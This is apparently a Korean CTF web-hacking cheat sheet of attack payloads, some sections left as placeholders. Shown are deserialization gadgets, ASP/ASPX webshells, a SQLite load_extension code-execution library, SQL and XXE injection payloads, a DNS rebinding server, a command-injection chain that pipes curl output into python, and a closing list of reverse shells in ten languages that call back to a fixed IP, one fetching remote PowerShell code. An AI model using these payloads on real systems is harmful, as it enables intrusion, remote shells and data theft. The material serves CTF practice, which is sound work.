symbols
s
: Stringi
: Integerb
: BooleanN
: NULLa
: ArrayO
: Objectpublic property
1
...{s:4:"test";...}
private property
1
...{s:12:"%00Kaibro%00test"}
protected property
1
...{s:7:"%00*%00test";...}
private와 protected property는 직접 손으로 작성하여 구성하거나, constructor 에 멤버 변수 할당하도록 클래스 선언한 후, serialize 하면 됨.
C
: custom objectR
: pointer reference
java
ruby
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md
Marshal
1
2
3
4
5
6erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled.NET deserialization
python
- 2버전에서 mac 주소 등을 이용하여 시크릿 알아낼수 있는, 취약함수 존재, CTF에 종종 출제됨 [설명 추가 예정]
- pyjail
- [삭제 여부 검토]
Directory Traversal
- 생략
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory Traversal)
Command Injection
- 생략
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command Injection)
asp.net / iis
asp webshell
1
2
3
4<%eval request("kaibro")%>
<%execute request("kaibro")%>
<%ExecuteGlobal request("kaibro")%>
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>aspx webshell
1
<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>
1
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>
ibm038
__VIEWSTATE
lua
- function override
1 | function math:random() return 1 |
GraphQL Injection
- 추가예정
sql injection
basic (생략)
quine sql injection
nosql injection
- 설명 생략
sqlite
- rce via load_extension
- 윈도우 환경이면 UNC 도 사용가능
1
2
3
4
5
6
7
8
9// gcc -shared -fPIC evil.c -o evil.so
#include <stdio.h>
int sqlite3_evil_init() {
return 0;
}
int sqlite3__init() {
system("touch /tmp/executed");
return 0;
}1
select load_extension('/tmp/evil.so');
- rce via load_extension
mysql
- multiquery injection
1
2
3set @a='select sleep(1)';
prepare s from @a;
execute s;- rand alternative
1
select case when @a:=@a-2 then @a:=2 else @a:=1 end;
- mysql client attack
1
2
3git clone https://github.com/lcark/MysqlClientAttack.git
cd MysqlClientAttack
python main.py -F /flagshell command : show columns
1
show columns from `tbl`
shell command : handler
1
HANDLER tbl OPEN;HANDLER tbl READ FIRST;HANDLER CLOSE
list table with innodb > 5.6
1
2select * from innodb_table_stats;
select * from innodb_index_stats;list table with statistics
1
2
3schema_auto_increment_columns
schema_table_statistics_with_buffer
x$schema_table_statistics_with_buffer
waf bypass
XML External Entity Injection
basic (생략)
php wrapper (생략)
dos (생략)
error based (생략)
soap
1
2
3
4
5<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>utf7
1
2
3
4
5
<@utf7>
<r>&x;</r><@/utf7>utf16
1
<@UTF_16_3><r>123</r><@/UTF_16_3>
oob xxe
1
2
3
4
5
6
7
8
9
10
11// 1.xml
<@UTF_16_3>
<r>&exfil;</r><@/UTF_16_3>
// 1.dtdsyntax violation
1
2
3
4local dtd
1
2
3
4
5
6
7
8
9
10
">
<message>123</message>phar
1
2
3
4
5
6
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
</svg>oxml_xxe
- https://github.com/BuffaloWill/oxml_xxe
- DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF
Crypto
- length extension attack
- Oracle Padding Attack
- [설명추가예정]
- ECB 블록 셔플 공격 (CTF에 나온지는 꽤 되었지만, 나름 범용적인 공격)
- CBC mode - Bit Flipping Attack
- [설명추가예정]
misc / universal
zip slip attack
bad regex bypass
race condition
bom injection
weak rand / srand() (언어별로)
cron / .bashrc / .zshrc
windows fs regex
1
2
3
4
5target: flag.txt
matched by
1. flag.>>>
2. f<
3. flag"txttime based regex injection
apache solr injection
dns rebinding
7f000001.0fa50072.rbndr.us
- https://lock.cmpxchg8b.com/rebinder.html
- nodejs 사용하여 dns 서버 구성
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19// sudo systemctl disable systemd-resolved
// sudo systemctl stop systemd-resolved
const dns = require('dns2');
var check = true;
const server = dns.createServer((req,send) => {
const response = new dns.Packet(req);
check = !check;
response.header.qr = 1;
response.answers.push({
address: check ? '127.0.0.1' : '1.2.3.4',
type: dns.Packet.TYPE.A,
class: dns.Packet.CLASS.IN
});
send(response);
}).listen(53);
// sudo systemctl enable systemd-resolved
// sudo systemctl start systemd-resolvedunicode normaliation
- 언어마다 다름
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19[223] ß (%C3%9F).toUpperCase() => SS (%53%53)
[304] İ (%C4%B0).toLowerCase() => i̇ (%69%307)
[305] ı (%C4%B1).toUpperCase() => I (%49)
[329] ʼn (%C5%89).toUpperCase() => ʼN (%2bc%4e)
[383] ſ (%C5%BF).toUpperCase() => S (%53)
[496] ǰ (%C7%B0).toUpperCase() => J̌ (%4a%30c)
[7830] ẖ (%E1%BA%96).toUpperCase() => H̱ (%48%331)
[7831] ẗ (%E1%BA%97).toUpperCase() => T̈ (%54%308)
[7832] ẘ (%E1%BA%98).toUpperCase() => W̊ (%57%30a)
[7833] ẙ (%E1%BA%99).toUpperCase() => Y̊ (%59%30a)
[7834] ẚ (%E1%BA%9A).toUpperCase() => Aʾ (%41%2be)
[8490] K (%E2%84%AA).toLowerCase() => k (%6b)
[64256] ff (%EF%AC%80).toUpperCase() => FF (%46%46)
[64257] fi (%EF%AC%81).toUpperCase() => FI (%46%49)
[64258] fl (%EF%AC%82).toUpperCase() => FL (%46%4c)
[64259] ffi (%EF%AC%83).toUpperCase() => FFI (%46%46%49)
[64260] ffl (%EF%AC%84).toUpperCase() => FFL (%46%46%4c)
[64261] ſt (%EF%AC%85).toUpperCase() => ST (%53%54)
[64262] st (%EF%AC%86).toUpperCase() => ST (%53%54)5 byte command injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
# generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# got shell
http://host/?cmd=sh g
AWS
bucket
public bucket
- list objects
1
aws s3 ls s3://a700de6aeab6ef373e7d
- copy objects
1
aws s3 cp s3://b1f507894bee098d7e9d/flag.txt .
1
2# aws s3api put-bucket-acl --bucket b1f507894bee098d7e9d --acl authenticated-read
# aws s3api put-object-acl --bucket b1f507894bee098d7e9d --key flag.txt --acl authenticated-read- pre-signed URLs
one day exploit
- 추가예정
- 실효성 낮음
reverse shell
perl
1
perl -e 'use Socket;$i="15.165.0.114";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
bash
1
2
3bash -i >& /dev/tcp/15.165.0.114/8888 0>&1
bash -c 'bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'
0<&196;exec 196<>/dev/tcp/15.165.0.114/8888; sh <&196 >&196 2>&196php
1
php -r '$sock=fsockopen("15.165.0.114",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
nc -e
1
nc -e /bin/sh 15.165.0.114 8888
telnet
1
mknod backpipe p && telnet 15.165.0.114 8888 0<backpipe | /bin/bash 1>backpipe
python
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("15.165.0.114",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ruby
1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("15.165.0.114","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
nodejs
1
2var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(8888, "15.165.0.114", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/15.165.0.114/8888 0>&1'");java
1
Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/15.165.0.114/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();
powershell
1
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 15.165.0.114 -p 8888 -e cmd